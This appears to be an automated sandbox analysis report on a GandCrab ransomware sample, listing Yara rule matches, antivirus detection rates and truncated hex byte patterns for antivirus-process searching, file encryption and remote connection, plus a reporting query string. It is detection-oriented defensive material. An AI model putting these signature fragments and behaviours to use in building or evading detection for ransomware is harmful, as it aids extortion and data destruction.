0.0.vy3mvlAaCZ.exe.930000.0.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.930000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x22a81:$s1: _ReflectiveLoader@ 0x22a82:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.930000.0.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0x21f18:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.930000.0.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x17043:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x197a2:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x17dce:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x1a610:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x15ec0:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10032:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xf7f6:$: DECRYPT.txt 0xf848:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x10031:$s1: _ReflectiveLoader@ 0x10032:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xf4c8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x45f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6d52:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x537e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x7bc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x3470:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10032:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xf7f6:$: DECRYPT.txt 0xf848:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x10031:$s1: _ReflectiveLoader@ 0x10032:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xf4c8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x45f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6d52:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x537e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x7bc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x3470:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.930000.2.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10bb8:$x1: ReflectiveLoader 0x22a82:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.930000.2.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0x22246:$: DECRYPT.txt 0x22298:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.930000.2.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.930000.2.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.930000.2.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x22a81:$s1: _ReflectiveLoader@ 0x22a82:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.930000.2.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0x21f18:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.930000.2.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x17043:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x197a2:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x17dce:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x1a610:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x15ec0:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
Click to see the 79 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vy3mvlAaCZ.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: vy3mvlAaCZ.exe	Virustotal: Detection: 85%	Perma Link
Source: vy3mvlAaCZ.exe	Metadefender: Detection: 74%	Perma Link
Source: vy3mvlAaCZ.exe	ReversingLabs: Detection: 96%

Machine Learning detection for sample

Source: vy3mvlAaCZ.exe

Joe Sandbox ML: detected

Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack	Avira: Label: TR/Crypt.EPACK.Gen2

Source: vy3mvlAaCZ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: vy3mvlAaCZ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Spam, unwanted Advertisements and Ransom Demands

Yara detected Gandcrab

Source: Yara match	File source: vy3mvlAaCZ.exe, type: SAMPLE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.259577181.0000000000944000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.256875847.0000000000943000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.260275699.0000000000944000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vy3mvlAaCZ.exe PID: 4268, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: detects Reflective DLL injection artifacts Author: ditekSHen
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: Gandcrab Payload Author: kevoreilly
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab Author: ReversingLabs

Source: vy3mvlAaCZ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: vy3mvlAaCZ.exe, type: SAMPLE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
